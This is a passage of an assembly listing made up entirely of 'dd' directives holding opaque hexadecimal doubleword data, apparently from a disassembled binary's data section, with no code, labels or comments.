		dd 12E8900h, 38952272h,	0F7290068h, 4D5693B7h, 0B1EA1DA8h
		dd 40F828F7h, 12243CCh,	11362CB0h, 0D6239C53h, 68E498BFh
		dd 0F42FF700h, 1843656h, 0C37A19h, 0BED7DF0h, 0AF0E5DBAh
		dd 315FE4FCh, 8D21BC21h, 0C1C9E800h, 0CA2DD400h, 1CB3B7BFh
		dd 16F4986Eh, 20936B6Ah, 78A68E6Ch, 890765F4h, 0EEAECB3h
		dd 9722C8C0h, 0B1F105C9h, 80AB8C3h, 21814380h, 50DDFB57h
		dd 0D0619461h, 9680547Ch, 0AA0E4D8Eh, 8C036B02h, 5EC8FE6Fh
		dd 81C298C0h, 9F18740Ah, 924119BCh, 0B29C2981h,	0DAC608F4h
		dd 0EE8F059Dh, 8E5DC608h, 0B74C2830h, 808B9A4h,	0A24B68C2h
		dd 10A75218h, 0D48A27C8h, 219D417Ch, 4305E4EDh,	6E000C76h
		dd 3C6C316Ah, 293877C8h, 5F83E24h, 84BBFAE1h, 0B9F3C2A8h
		dd 26038CFBh, 9847563Ah, 1D200D90h, 9C31E580h, 0FCFA54E9h
		dd 5A5FBA02h, 74254B6Ah, 3A1E4CA2h, 5E9580DFh, 0B6A09F0Ah
		dd 6B0C3002h, 5EA426CEh, 0E4F564ACh, 0C052E888h, 52297C90h
		dd 9DBBE820h, 33C0940Ah, 1AE26D24h, 788500FBh, 0E44909F4h
		dd 5C1F66A1h, 0C8A6863Fh, 0E9BC108Ch, 789C0F88h, 0EE095C30h
		dd 43411802h, 6211A491h, 268C0020h, 85D969DCh, 37BD001Ah
		dd 0D325F180h, 9C0BAC89h, 0F18B5F9Ah, 763C011Ch, 207EBC73h
		dd 0AA037138h, 7FB0F8B7h, 0B80EE070h, 9B5C18F9h, 9F30B669h
		dd 5CE239D6h, 0E2D34917h, 0AC718198h, 47BB780h,	524B4044h
		dd 0F083A088h, 3A4E0E93h, 0F5603275h, 0B6919E0h, 3E84CA0Ah
		dd 0E927F460h, 203A6A64h, 0DA9FCC48h, 74ACCF03h, 0B097F85Eh
		dd 78C4795h, 0DD115925h, 2ECDC05Ch, 9600F750h, 33C9D536h
		dd 0E0AB13Fh, 67AA91EBh, 6993FFC0h, 90BD3683h, 4B0DB08h
		dd 0B951B2B7h, 27C0BA8Ch, 75FBFCh, 5F025AE5h, 0B8325834h
		dd 31371A07h, 2660E8EDh, 4CDBACC3h, 0D6348419h,	70B2A9h
		dd 2F277EE6h, 0D88AA1h,	0B162D3E1h, 7B075903h, 0ABF4D50Bh
		dd 0B3740035h, 5BB7DB63h, 41D0D23Bh, 130F2044h,	0A036B4E3h
		dd 0E284E1DAh, 24540062h, 5D83870Eh, 48001865h,	4028EB8Dh
		dd 91DB4C5Fh, 0C3AA88DCh, 0E609F0A4h, 3EF0D190h, 40AC9C0Eh
		dd 22B6FC01h, 0E1E7C065h, 50F43E01h, 796E6C12h,	0A798313Fh
		dd 849C2C23h, 0FF22B9F4h, 91C98610h, 49CE3AF4h,	58841AB8h
		dd 0EC1056B0h, 0CC2E0318h, 0E4C99079h, 0B00ECA6h, 80CE4685h
		dd 0C4001166h, 0EFC6A244h, 0BE9356B1h, 0B8194470h, 0C5638314h
		dd 0A3E5F018h, 22CCB29Ah, 6A07BD30h, 0C3D594DDh, 0C91F2EF0h
		dd 0F04607A8h, 306848B3h, 1CC81D86h, 575FF105h,	0B0DC49B1h
		dd 0A571053Ah, 12B48090h, 7C8584h, 72F64F34h, 2916BC25h
		dd 2CF2DC28h, 81324600h, 0C873313Bh, 4809FA4Bh,	2C5001ACh
		dd 8021CD76h, 5C2C802Ah, 0D2E4CFD1h, 0FC80189Ch, 6A8726C9h
		dd 287A00E5h, 13F2221Fh, 0D5761631h, 6D02EF02h,	0D6AF19BAh
		dd 0E16AC054h, 241F62A8h, 732545EBh, 3D960070h,	27E8EA4Fh
		dd 0E2205E01h, 0ED100637h, 9C449AE0h, 64654B88h, 0B4766400h
		dd 0AEAB84h, 0FD13EA09h, 0A46FB61Ah, 0C1D6FF22h, 3749ABA0h
		dd 4C583917h, 159900DFh, 0AC9D693Bh, 0E1A5005Fh, 760A5124h
		dd 0CF1CB432h, 0B801157h, 15EEDAA6h, 34FA48EAh,	1A0A0C80h
		dd 1B7C6348h, 146E6412h, 441E84A2h, 8FCC02C8h, 0A8F27DEDh
		dd 0D6743A00h, 0F6DE45B8h, 1F47D39h, 8B0AFA2Ah,	0D671DD69h
		dd 100CC45Eh, 8E6943h, 633F64A9h, 4B81C6D4h, 5E11C301h
		dd 0D7E2FA36h, 0A1805C6Ch, 93DAFBEEh, 3F6A2600h, 0BBE1C7B4h
		dd 25830242h, 0B9F7F532h, 0E917A485h, 2391C050h, 9A8E45h
		dd 1E386BCDh, 56251B54h, 838C0C3Dh, 27AD9451h, 2CF5A5F4h
		dd 408071C6h, 93888A07h, 9A160300h, 0CC3CE997h,	0F7B82531h
		dd 58540489h, 11E7C340h, 7A5BB0D5h, 6038B2A3h, 49B961A4h
		dd 0C875408Dh, 2A5ABE01h, 0CC5F9187h, 2F50A860h, 34043854h
		dd 4392446Fh, 9D2540A2h, 0E49CB410h, 0DFDD5C12h, 9313D008h
		dd 0ED90321Ah, 6D5D1F40h, 570AC600h, 0B8421FCDh, 53EE004Eh
		dd 865141F4h, 0FB02318Bh, 0EC34B419h, 406490h, 0CEA5626Eh
		dd 14C33977h, 0FEC7751Ch, 0FC02AB02h, 0E208E62Eh, 63410F32h
		dd 8EA0C656h, 0CF66D493h, 7CB853E4h, 7DD82512h,	0E2577420h
		dd 0B95A0070h, 3F452EB6h, 0D5FD1A6h, 0A4469004h, 0A39F3CACh
		dd 0DA5C8527h, 0D6E09004h, 4009AD08h, 0C3988268h, 40E42975h
		dd 222E2090h, 0C91B0DBDh, 0E19E021h, 0EDA7001Eh, 0D8E4C6A8h
		dd 694A1802h, 38881816h, 41987Dh, 97EDEEF2h, 0F83ADE0Ah
		dd 142954B8h, 81BEFC82h, 33C89413h, 217FC086h, 22F0CBFCh
		dd 0E5A8028h, 78EB16h, 353340A8h, 3C7B3989h, 9C46DD05h
		dd 44106E7Dh, 3C70230h,	50C84701h, 81F11A20h, 105F51D2h
		dd 2CBC8060h, 26A8D87h,	6E2A212Ch, 4007A079h, 0EAC0A677h
		dd 0BCC2FEC0h, 90A538h,	20B6786h, 6A917737h, 47C47634h
		dd 8D9FD330h, 2C22F6F0h, 2E7B8907h, 41DFD4D3h, 5CE05029h
		dd 30681021h, 90D14B89h, 9EC9F180h, 2F7E3C7h, 0B6CC564h
		dd 915F1B0Eh, 336E5F98h, 40B4C31Ch, 0A3E4FBF1h,	0E41095E8h
		dd 0DB07E5C1h, 0DD58BAA9h, 3031A760h, 88B95ECEh, 670026D0h
		dd 8D85245Eh, 3E1AA747h, 2FBF2919h, 0A28E2382h,	3452C665h
		dd 0B5906902h, 62C36E11h, 105BCCh, 684F34B3h, 6000A896h
		dd 8CBB406Ah, 50D63BD3h, 0F41B545Dh, 4D3101A8h,	7890AEE5h
		dd 276085FAh, 2CB7AB37h, 52E45107h, 0D87D001h, 0B1003063h
		dd 0C0220442h, 3E7A6CC1h, 430E3273h, 234C2897h,	611C0718h
		dd 29311BB1h, 1980537Ch, 0D07445F1h, 80001E54h,	0D4490A99h
		dd 86BB11h, 0EF30ADE0h,	0FF8B2B2Fh, 6D9E648h, 0FA71C78Fh
		dd 0E2E041h, 735A991Ch,	6C4EDB35h, 430058B8h, 7AC23840h
		dd 0A07D2CB6h, 0AA8D38h, 0B36AA380h, 96E76E40h,	1F7BE03Ch
		dd 9206329Bh, 0D1290Eh,	0B3BB80DEh, 0E87F9783h,	0C11F3437h
		dd 53159010h, 18B2F45Ch, 615E71C4h, 97009423h, 0BC8CB931h
		dd 0FADA8h, 0A01A285Dh,	0B87AF502h, 7FAC2C18h, 2474231h
		dd 182D7436h, 7CE32BD7h, 0B122180Ah, 0E403384Eh, 992571Bh
		dd 0EAAB818h, 710F0281h, 0F24980FBh, 676F455Eh,	917067Eh
		dd 31CF54F7h, 7A0F217Fh, 0F9C7F1h, 0F6E79A75h, 20CD634Dh
		dd 0C8E99CC0h, 7C7980BBh, 284185B0h, 88A83DE2h,	478323BDh
		dd 0DD1EE68Eh, 0EABF4FF9h, 0FF7AE700h, 14D9FCF9h, 0B4A928A7h
		dd 51B5F786h, 6524EA00h, 1BA75FDBh, 0E15D18C3h,	0E4DE88B7h
		dd 8C5E3139h, 31B3C8F6h
		dd 0E0EF0A2Dh, 88386478h, 7C0C273Fh, 2961F6h, 0D97EA70Ah
		dd 599A5183h, 6F711E00h, 7CAEE320h, 0FD29C941h,	0D9E9718Ch
		dd 0C727128h, 39B2E22h,	0A7F4A221h, 0D914FB0Eh,	0A48D52Ah
		dd 0C41518B1h, 0BF9D18BEh, 653B19h, 987D7F23h, 0D61CC66Fh
		dd 6110A836h, 30F0504Eh, 0C9000F2h, 47317F17h, 0C212A216h
		dd 101C33A7h, 1A264140h, 0C0114CB1h, 0EA3E769h,	77009E69h
		dd 3F1E5D76h, 186CD221h, 58CCD6C8h, 7BE62D06h, 0CEC3FD02h
		dd 0C0557A52h, 3353C54h, 4E5EDA5Bh, 700043BEh, 20A9BBB3h
		dd 600F58E5h, 0B5AA99C3h, 1B0096F2h, 7998D4ACh,	425E98Dh
		dd 0F6BBBC1h, 6F8490DDh, 0ED0FB84Eh, 402AD4A5h,	9C3D9A68h
		dd 9088003Bh, 0E3E85DF7h, 2F2935EAh, 0F0CFCA3h,	3A806998h
		dd 0B63B795Fh, 0D733F60Ch, 9F002159h, 3615A138h, 145CA6B8h
		dd 0D834F672h, 40237CC4h, 4235476Ch, 98763EEDh,	7F80004Ch
		dd 0B81D9E52h, 17FED102h, 7E50B22Dh, 45442026h,	0D0D3FC9Bh
		dd 0E733320Fh, 80D48843h, 4E6239A3h, 0EF3FB76Dh, 0E87CA407h
		dd 0D02C1243h, 104E5AFFh, 868DA745h, 805940B1h,	0DDBA1BD8h
		dd 0AA754071h, 0D35E4788h, 0AC2E9800h, 0B9AD95ECh, 0A74300DAh
		dd 0C83C8EE6h, 41C00B34h, 0D6265828h, 0AEFCFAh,	23B35962h
		dd 9CBFCC01h, 1DFDA148h, 5E8049E8h, 0F7D0AAE3h,	207550B1h
		dd 0D128782Ah, 7D006CF1h, 67AB4170h, 65012749h,	0CB9E91D2h
		dd 39800634h, 0EDA1DBC6h, 0B1E2EF59h, 15587401h, 9416D549h
		dd 541C7F0h, 53CF5DCEh,	0E2DC200Fh, 0D303A4E7h,	0A7F57BACh
		dd 2E30FF56h, 0C61380h,	420A5234h, 496B45Eh, 0F9D9B101h
		dd 2BDE8828h, 1B21AC26h, 0F1842BEh, 3DE869DFh, 0CFA51100h
		dd 2157EFE2h, 667B0053h, 0B7BEB5B0h, 30018F62h,	6D6796A0h
		dd 8AE40692h, 5D2C04AFh, 0CCDCF7h, 3CB2F4C9h, 7B181E1Fh
		dd 0C0A45C10h, 2963E1ABh, 540CD29Ch, 780DA60Fh,	5C921842h
		dd 55025868h, 265B7B00h, 0D18911C8h, 3D2D01FCh,	4CF6BE50h
		dd 0D60024C0h, 80FC9C48h, 384820C6h, 86D40A23h,	44C860h
		dd 1821A126h, 0D200B1BFh, 87205141h, 4E1F60CBh,	5348F043h
		dd 123B7200h, 86D09013h, 5911607Ch, 51C668CBh, 0D8590800h
		dd 18924374h, 0F865611Eh, 60AE6441h, 0A6885574h, 0F95900B2h
		dd 98035C8Ah, 0C51C2D6Dh, 0EEC0CD2Eh, 9D474034h, 0D7C83063h
		dd 0DDCA51A1h, 7F0D6000h, 660CB3D6h, 0C87959h, 428845A1h
		dd 826B9140h, 0FD15FC1Dh, 703099D3h, 0C131D79h,	0C6E280E4h
		dd 300547A0h, 38B79AF6h, 2C1F4081h, 2CFD4830h, 0A0F5AFh
		dd 3B30C2C9h, 0C14CC74Dh, 8EE70AA4h, 8F40AC0Eh,	0EE04254h
		dd 0CAABFD1Eh, 0C4989540h, 3100CCCDh, 30603D5Fh, 2A3D6B8h
		dd 2B21B463h, 2448B29Dh, 0F700EB65h, 84F9A792h,	1FC89C9h
		dd 2FA043E4h, 0F0858EE5h, 0D83E8BF5h, 187A021Ah, 0C45493D6h
		dd 45AC80CCh, 19074CDh,	0F67D285Fh, 0D9963D25h,	0CAF8488Eh
		dd 0E7FCB000h, 19086193h, 0A48700C3h, 2D3702A1h, 7E2430F5h
		dd 6240D401h, 19110CDh,	0A1B5A92Eh, 0C4D30E9Bh,	1E006CB4h
		dd 517144D8h, 11F9168Dh, 171256B1h, 0C32DE2Ah, 0A59C10A9h
		dd 50DD6624h, 20510F09h, 1BC08ECh, 1A8A0F09h, 807D3213h
		dd 165ADF34h, 0E60B58E7h, 900FE27Bh, 1A6CF74h, 0AB89A740h
		dd 73968E16h, 0A38A00D0h, 96081BDh, 590607A1h, 0FE445877h
		dd 0E530A9E0h, 7200AE92h, 64D65775h, 1DFFDA7h, 56F9378Fh
		dd 851A10CCh, 0E41F211h, 618BC5C0h, 902A187Fh, 0CDDF189Ch
		dd 606E1D05h, 92C0699Bh, 0C6F8B964h, 41304339h,	0AC10BA00h
		dd 2363831Bh, 7C976F1h,	433B5BB5h, 29DD2671h, 0EF80CC00h
		dd 6B75C056h, 8C3A1F41h, 3A3C12Bh, 0D81F97C8h, 0AB31F930h
		dd 42A7818Eh, 5A495883h, 4903D6A4h, 0E2489D97h,	68D7C029h
		dd 34183F9Bh, 397E9198h, 8D0197B6h, 0BF8BF153h,	0F07AAE7Ch
		dd 0C0024F8h, 10586599h, 0E8376692h, 629118CAh,	0CE783835h
		dd 5D87AF00h, 0E4BE2694h, 14FD134Dh, 997800E2h,	97CF1048h
		dd 0A9AAB706h, 2471819Eh, 0CDCC8Dh, 0B6D4D515h,	0A61D2AB8h
		dd 4E538F9Fh, 0A344BC00h, 1D25EEABh, 8C2FD6FEh,	8D1DC43h
		dd 0C3F0940Bh, 0D1450016h, 3ABA4D2h, 5A2E8344h,	29000277h
		dd 0EFF7E63Fh, 0A4585605h, 0A87BC4h, 175A7E49h,	415CFB84h
		dd 9A3D8D09h, 922C8105h, 1CE8A0A1h, 32B6300Ch, 87528FB0h
		dd 36351B06h, 2268D9A3h, 262A31A4h, 0B080880Fh,	81F64E9Bh
		dd 3D088201h, 112433DEh, 108FF980h, 39B9909Bh, 0D44711DFh
		dd 0E303D4Ah, 8C6CEFh, 7337E8C6h, 0DE646659h, 20280A24h
		dd 76032291h, 38B58DABh, 4B8A0B88h, 0DEADE07h, 5310920Ah
		dd 53CF356Fh, 8C00B8CCh, 0CA0978C9h, 0A2000F8Eh, 14BC512Dh
		dd 62F889Ah, 431E5AEAh,	629061D5h, 12418E06h, 0F8A97FD6h
		dd 0B85600B4h, 9DD91603h, 19CFFA58h, 0EEBC8E0Ah, 0C4A76FC9h
		dd 0D282BA0Eh, 1690999Eh, 44039118h, 0B9962989h, 36190F5Ch
		dd 65831BB5h, 3900DE43h, 0A4EB9F86h, 145225E6h,	0C8B9FBEDh
		dd 0A6A587h, 97640D39h,	9240AF00h, 427A0E37h, 61FAF489h
		dd 0A7F9A1F0h, 2E845197h, 9952E0D7h, 72F411C0h,	27917FDh
		dd 53955BE0h, 0C2E09B69h, 0BCAB0B58h, 3EE5E2D0h, 3DC11B00h
		dd 4074559Eh, 0D8E46Eh,	4270DA30h, 0D7A55A37h, 0C9A8B9C1h
		dd 30E191FCh, 0A3D67DF0h, 1ACBC90Ch, 11041F4h, 76A9E1B3h
		dd 8C8655F9h, 0E15EB691h, 4F2D073Bh, 0D063911Fh, 0EEEC65E3h
		dd 1C771B3Dh, 6143D7BAh, 71B622h, 543E0131h, 36A42325h
		dd 52DCE200h, 1F7F6058h, 67B40984h, 48007992h, 0FBE14041h
		dd 18379B0Ch, 8A8280B0h, 58457C42h, 20E55F80h, 181B0EF9h
		dd 60A1645Bh, 80988A77h, 0AB014CA6h, 0D7DA3C7Ah, 0B4C06DA1h
		dd 42BE00CFh, 0F186AFEEh, 0C604D44Ch, 2A7AA2A3h, 7840EC84h
		dd 6D1E03Ch, 0B413037Ch, 3D6DF986h, 0B2176810h,	0CA469201h
		dd 206B35B7h, 11EB7AC0h, 0C19D8790h, 0C6B9476Fh, 494E1009h
		dd 0A23D1ABBh, 4130065h, 7FDC167Eh, 18B4986Eh, 3996570Eh
		dd 32145EA7h, 608D1B24h, 0A2308890h, 0A85061C2h, 62785A4Dh
		dd 0E4260C00h, 0ABB970h, 9D5EF49Ah, 0EC640883h,	0B4741374h
		dd 0E8DFE726h, 27003891h, 0AD316B70h, 0B300E9EBh, 6DB1EC93h
		dd 397835h, 0A4A6A1E8h,	3A1DDC6Fh, 0DC83F028h, 30AF2A24h
		dd 0B6CC6103h, 6A79125Fh, 0BAC71351h, 10CF2F00h, 4D76AD77h
		dd 0EA009801h, 0F633A8E5h, 4703A390h, 1C249B8Bh, 58411827h
		dd 0FD33D125h, 80E0B23Eh, 943C317Ah, 5E17617h, 0D793112Ah
		dd 2948881Ah, 66389E02h, 61C71081h, 49412E9h, 9B01FAF0h
		dd 0F2FF2E48h, 2830A46Fh, 42103C60h, 985603B8h,	6EEA5FAAh
		dd 0E93FF0D0h, 0F432D713h, 280DD004h, 8244401Ch, 64185E27h
		dd 7BF61A00h, 0E25AF725h, 16CA01ECh, 29105CA2h,	1E7FC42Fh
		dd 0B2B9C9C0h, 94F867h,	27228135h, 90097908h, 0E2CF5600h
		dd 0A26441C0h, 9231C0FCh, 67DE2E36h, 0E32648A0h, 14244899h
		dd 10548E1Dh, 0AA53C7E0h, 63518307h, 1B31A2D0h,	5D2EE0E6h
		dd 0C39401B0h, 91CE2A93h, 0B2C249Ah, 0E1BEE403h, 0A531F044h
		dd 6590D491h, 9D8834h, 36EE48A2h, 5C958B74h, 0A823D300h
		dd 1C315D60h, 28686073h, 2613D72Fh, 0EE501D50h,	0C0D52200h
		dd 12AA9B3Ah, 0F3FA01B4h, 0D0A5AB9Ch, 296822A6h, 0F011F83Bh
		dd 0A95AAC00h, 1820A8AEh
		dd 0E42484A0h, 0F00B2499h, 40CD8063h, 39A0BB0Ah, 930DA310h
		dd 0E441F158h, 0D34C56A2h, 0BD4400DFh, 7DA48EE5h, 3957006Eh
		dd 0E9D22136h, 0CA00FB65h, 0DAD3F9C1h, 9B9CCBh,	6FC9A13Ah
		dd 0A9AD3548h, 0E1CF1D01h, 11EAB2E6h, 0B319Eh, 6AABDE09h
		dd 77002E57h, 7E6BD307h, 0E9C40C40h, 86A12880h,	824AB5B0h
		dd 42D10F0Ch, 0C0BE08BAh, 0B0AF8421h, 9E00E1D9h, 9110F5E3h
		dd 175E6BAh, 0C1F4B734h, 7ED4497Eh, 78BCAAB1h, 4BD1B00h
		dd 0A5906A86h, 9727931h, 2081D5F8h, 2704A43Bh, 9ECE4A3h
		dd 71879506h, 41EE0Dh, 5449B6FAh, 90D785F0h, 6BF47800h
		dd 0C554F8Dh, 0EE9431B3h, 6CBB288h, 734481F0h, 408BF18h
		dd 0C4A06A80h, 0A6314105h, 0E06B0D04h, 0B662E960h, 9ACAD9h
		dd 0C82C3FFBh, 0A9854C00h, 0AC2E458Eh, 0DC4E0069h, 11708025h
		dd 0F37CD51Fh, 0FBB0D003h, 7FF15Ah, 0D435E91h, 302FED7Ah
		dd 9B5CE33h, 0BE210341h, 385C0D4Bh, 710FECBBh, 40F906E0h
		dd 3B64E7A2h, 0E3680134h, 72BE0F86h, 0A43F70F5h, 31CFD330h
		dd 73F882Ah, 5A556B3Dh,	88536EFh, 9021F260h, 0D63F7Fh
		dd 0EDA19FA4h, 6B13E6Dh, 0B8D02929h, 0C0413580h, 1B4678Eh
		dd 467FA3BDh, 0E954A12Ah, 438080C9h, 67F571AFh,	0DF370009h
		dd 0BCF37463h, 4F0095BDh, 1C9AC488h, 119921Dh, 72CFA806h
		dd 2039BE9Eh, 5113DFC7h, 0EA00D714h, 772FF646h,	0A82901AFh
		dd 6256D40Bh, 60BFF09Fh, 1ECCCE00h, 402C99A2h, 7F1900EBh
		dd 0F99D15E0h, 4200CD74h, 0E51CB3FBh, 4C83C3Ah,	79D9BC62h
		dd 0CCC783EDh, 54DB51C8h, 82F6DA00h, 50076178h,	2102013Eh
		dd 0BE23130h, 0E1B7C497h, 1731C858h, 47009364h,	28F3F156h
		dd 0DB15001Bh, 0CA5802BEh, 2B01B86Dh, 0C72768C5h, 0CFD4427Ch
		dd 1EBF0079h, 2AE23A52h, 21DD5F7h, 26409E41h, 0F957BC2Dh
		dd 855A0028h, 0D369B4ECh, 0FC77AB83h, 40DE9200h, 26D5426Dh
		dd 74761DA4h, 6FF087BDh, 0D30BC0CFh, 5AF88966h,	63F66507h
		dd 0FBA03149h, 16770D27h, 79DDEFh, 0D9249476h, 0AE07D569h
		dd 0BD752C8Ch, 9FFBB9C0h, 0A84B00D7h, 98B4048Eh, 181F8015h
		dd 3FFCCCDh, 0AB900601h, 9388E097h, 0BFF503EBh,	36AE6AFh
		dd 0A6678BB9h, 0AA00A104h, 57D10191h, 0E2EA0004h, 44F709E3h
		dd 7C3FD849h, 0E6EB0067h, 4CCA7AA3h, 40E81760h,	9600FBC6h
		dd 539B9E1Fh, 85010049h, 6624C3CCh, 9D3F4625h, 418AB380h
		dd 79A8607Ch, 846254B2h, 0F30018DEh, 0F5743A09h, 25B80059h
		dd 646CE8D5h, 7600F660h, 0FBC8A4E7h, 1984ADEh, 0B2418CC6h
		dd 6EB95E5Bh, 91A1E0h, 8E021D11h, 90D5E295h, 77241600h
		dd 0E015206Dh, 3C2D0039h, 0B5ACF540h, 0E2005267h, 55BC89B7h
		dd 0C0CD1E16h, 8D397348h, 4C003F36h, 0F78741E9h, 0C0591812h
		dd 7D573528h, 0C50693C0h, 923BE256h, 0FD3F0019h, 52652336h
		dd 3000A31h, 0A267CE43h, 0CB8DCD6h, 5706538Ch, 0C00CD810h
		dd 0B862B06Ch, 74E60055h, 0F79FEC1Fh, 0FE036647h, 9DD8C57Bh
		dd 2B839523h, 0CE380660h, 0A85565C4h, 0F4CB7807h, 0DB8068B5h
		dd 0B83513h, 0D642BA7Bh, 2E6A7592h, 0D4031C0Ch,	0AD9E11A4h
		dd 0CC410604h, 6071099h, 9B599636h, 0B0F00CF0h,	781E0E92h
		dd 4160C7A9h, 6C941CACh, 29A48C9Dh, 0B2B81E50h,	0CEDBC092h
		dd 0C010BBD0h, 965C6A12h, 4191CA03h, 0EBC8B0DCh, 93500B0h
		dd 511A01E9h, 0AC00A5D9h, 4D537C95h, 1F23610h, 96DE4A87h
		dd 0F80E24D4h, 34002C82h, 646FC0A5h, 183321h, 0D3C12BC5h
		dd 9217BCEDh, 29002074h, 71C397A3h, 72553814h, 0C8FA0018h
		dd 0E820D4D1h, 0D6009BF1h, 0A1E698F4h, 37BA92h,	185685FBh
		dd 5EF54235h, 0E411AC00h, 0BD5F9533h, 28C0EAF3h, 0C32C53h
		dd 7588A07Eh, 0F63CD8F7h, 0FD0E2700h, 0D202935h, 8D87077Ch
		dd 40CA81BFh, 835651C5h, 0EA0AD079h, 0B49F638Bh, 2BBCCB00h
		dd 1C746B88h, 402128CAh, 3839E367h, 0C500A6D4h,	94839934h
		dd 0EEC245h, 516F2CD1h,	0F00AAC81h, 0D33D9E00h,	0E0F34404h
		dd 0C39B0080h, 5C76B5B6h, 0E478E31Bh, 24893703h, 0C052BE19h
		dd 8C7FFEh, 8BBFBCC7h, 0EB2A8DA5h, 44009279h, 0B8D460C9h
		dd 0EF7FBD0h, 0B25A0782h, 981A8E20h, 0DA001535h, 4010DD90h
		dd 0B47E2Fh, 0CC9A0FD4h, 0D21B53Bh, 0E054741Eh,	0D588DB42h
		dd 87284051h, 0F2D607D9h, 3084A714h, 3529FFB9h,	0B19D4B00h
		dd 54E6EAA0h, 0FBA30144h, 0A58D20BFh, 0E5BD346Bh, 99C66500h
		dd 0D069AF91h, 95ED0034h, 0CAB579C2h, 980E6B63h, 1D871Ch
		dd 0F3E52ED8h, 80AC0078h, 6E09EF5Dh, 2C3D88A8h,	0FE1428D2h
		dd 3708A900h, 360B71C4h, 0CAA80047h, 0B73227F9h, 0F13A3ABCh
		dd 5C860030h, 0D2C0BF2h, 936E038Fh, 367FC447h, 95CDA2C0h
		dd 1886B330h, 8E4DA0h, 0DB821385h, 6FEAD59Eh, 0CDF01754h
		dd 0AAA0C200h, 0CA3AE856h, 0CE620004h, 660DA96Ch, 0B32E31B8h
		dd 4D2C1C05h, 0EFDF2607h, 158A8ED0h, 0C3F38B2h,	0B4034680h
		dd 0D764EAA4h, 62E8F605h, 0E1801693h, 79CF919h,	2E8FAEA1h
		dd 20D5C068h, 4B00086Dh, 7F88E9D2h, 7AC3D03h, 1A538F8Ah
		dd 925450F6h, 7704D3CCh, 0BE90DD7Eh, 0CB5FC90h,	87C50016h
		dd 4FB4EBBBh, 260A83D0h, 0B7602CF0h, 7CC69300h,	0A3D6DFh
		dd 8303E85Bh, 0A7889CAh, 7B6DFA02h, 40DC54E1h, 3457588h
		dd 27CAD321h, 0FFF3DD78h, 0F0A66900h, 56990DDCh, 47B5012Dh
		dd 743CAC08h, 0A994705Bh, 4600D090h, 0A0C936FBh, 482A6A4Eh
		dd 0D600E8A6h, 6A9ACD0h, 4818FA71h, 0A8987040h,	1474070Ch
		dd 80653019h, 3B5E42Ah,	44C15F16h, 6B002E13h, 2C802785h
		dd 25B305CAh, 3A543E5h,	0E33E5AD4h, 0FA6DA098h,	825C847Ch
		dd 0A300705Bh, 0C4DB0A06h, 133F1F63h, 1BF1Ah, 7C60DE06h
		dd 0B23970EBh, 0FF1000E9h, 0F9C67A9Bh, 0C4F2004Fh, 0EE841F6Ch
		dd 950EDD51h, 80B9879Ah, 4BAE8E64h, 28782C32h, 7007006Bh
		dd 6B8B9865h, 31BD5800h, 3A2729E7h, 9B281DCBh, 0D650093h
		dd 41FF1F51h, 77006C79h, 3031C9C5h, 35638Fh, 996445F8h
		dd 96613B7Ah, 0E00021F4h, 2C816D51h, 0F6BF4D71h, 1211CEEDh
		dd 258482A0h, 63EAFF9Fh, 702FE12h, 0C8ADFB00h, 1446AA9Eh
		dd 909AC3CBh, 34603900h, 0D96302F4h, 6BC08150h,	0A1268B00h
		dd 56CC5A0Ah, 8D90009Eh, 8C980D41h, 3407B063h, 554F2905h
		dd 2F40069h, 907E3850h,	900A781Bh, 0FAA7E64h, 0AB5A0B14h
		dd 70DF2A40h, 0EC09314Ah, 8FE6E95Ch, 637420BCh,	7D8C09DDh
		dd 189FE477h, 21FB4C98h, 640065A0h, 234B6BD9h, 0B4922Eh
		dd 0E4D44FF0h, 6E3E25B0h, 7243A30Eh, 902A219h, 26B48064h
		dd 873116h, 71D9D5D8h, 0D0254CFDh, 3B7C3F07h, 0DCB06590h
		dd 5ABF98h, 9BDAA1FCh, 6BF9BEACh, 70867D02h, 40D02B72h
		dd 1B35638h, 0C4AB03DFh, 96EBC70Eh, 6C27F1D4h, 409319C2h
		dd 43D8Ch, 1BD4B797h, 0C172DE43h, 0E8236F89h, 6B018B22h
		dd 854832FAh, 0C8CF824Dh, 33543C3h, 0DD600B0Eh,	0ABC84B06h
		dd 8E00CF05h, 487ECA27h, 0E0AE34EFh, 40E677h, 440372E5h
		dd 2F18D274h, 800E779h,	0B15F8720h, 0F9AE57h, 834C882Eh
		dd 227DE3E1h, 0D167C600h, 87856134h, 7058001Ah,	628007AEh
		dd 0F100FBF2h, 46166F15h, 0EF326FCh, 133F3AB2h,	8F9407C0h
		dd 1000D237h, 8A9C22D5h, 4B4A5Ch, 0DA871A25h, 0ABE4BE18h
		dd 0B3580E00h, 4997466Ch
		dd 0DC5D0056h, 0A3161740h, 1F0004E8h, 0FBDFDACDh, 6D2CCB3h
		dd 0A58AB715h, 290050C8h, 2FB0F51Ah, 84F89h, 0AE91A299h
		dd 0FC515793h, 409F3Dh,	0CA04F20Bh, 5E674Fh, 1AA4E6C7h
		dd 0C6FC2FDh, 79EEEE50h, 50C14902h, 60343C63h, 1D303E8h
		dd 0DA2E5244h, 60164337h, 67171BDh, 9A5180Eh, 0F9AD40EDh
		dd 3270C45Fh, 0B4A8DE69h, 47AF8643h, 0B13280E1h, 316733C5h
		dd 88413608h, 1041A667h, 23307F5Eh, 86C80ED5h, 0F58E8562h
		dd 2533C081h, 0E15082DBh, 0FA9185Ah, 0B1C62D07h, 0FCDE2B47h
		dd 9D6F1393h, 0E02E0F18h, 5A4B2859h, 70F684h, 0F873C1D7h
		dd 0D98B38E7h, 41000FF8h, 2BF6090Eh, 33943C75h,	0BE41619Ch
		dd 0C5A87898h, 5F373CA0h, 99DE8031h, 21ED1FB1h,	2B427880h
		dd 0A8F459F9h, 192999C0h, 3CD132DBh, 0D83A33BEh, 68793C0Ah
		dd 0D2F2408Ch, 0E1009C37h, 0A2BA9E1Ah, 0F658797h, 67DEE590h
		dd 231D809Eh, 0F03647C1h, 0B7F6BD00h, 0B8144D6Dh, 70B3FC43h
		dd 5266002Fh, 0AC6E45DCh, 892CFC6Ch, 707209Bh, 0A2C1D84Ah
		dd 0C6F075AFh, 0D70E1D9Ch, 1C7F160Ch, 0B3BEC09Bh, 0F22378A6h
		dd 8508933h, 0CF210012h, 7D84BE87h, 36E6972Bh, 8048C763h
		dd 0A8F69021h, 0C1E06Ah, 0DD6526Dh, 0FC7B96DCh,	3CBA900h
		dd 83A80632h, 500860F6h, 0B7860958h, 9611FB67h,	79E4D760h
		dd 7DB00CDDh, 0E908CD71h, 0DF8321DEh, 88CF90D7h, 814B52h
		dd 0ED8931A6h, 720F8A04h, 926C4F1Dh, 0BA731940h, 0C6AA340Dh
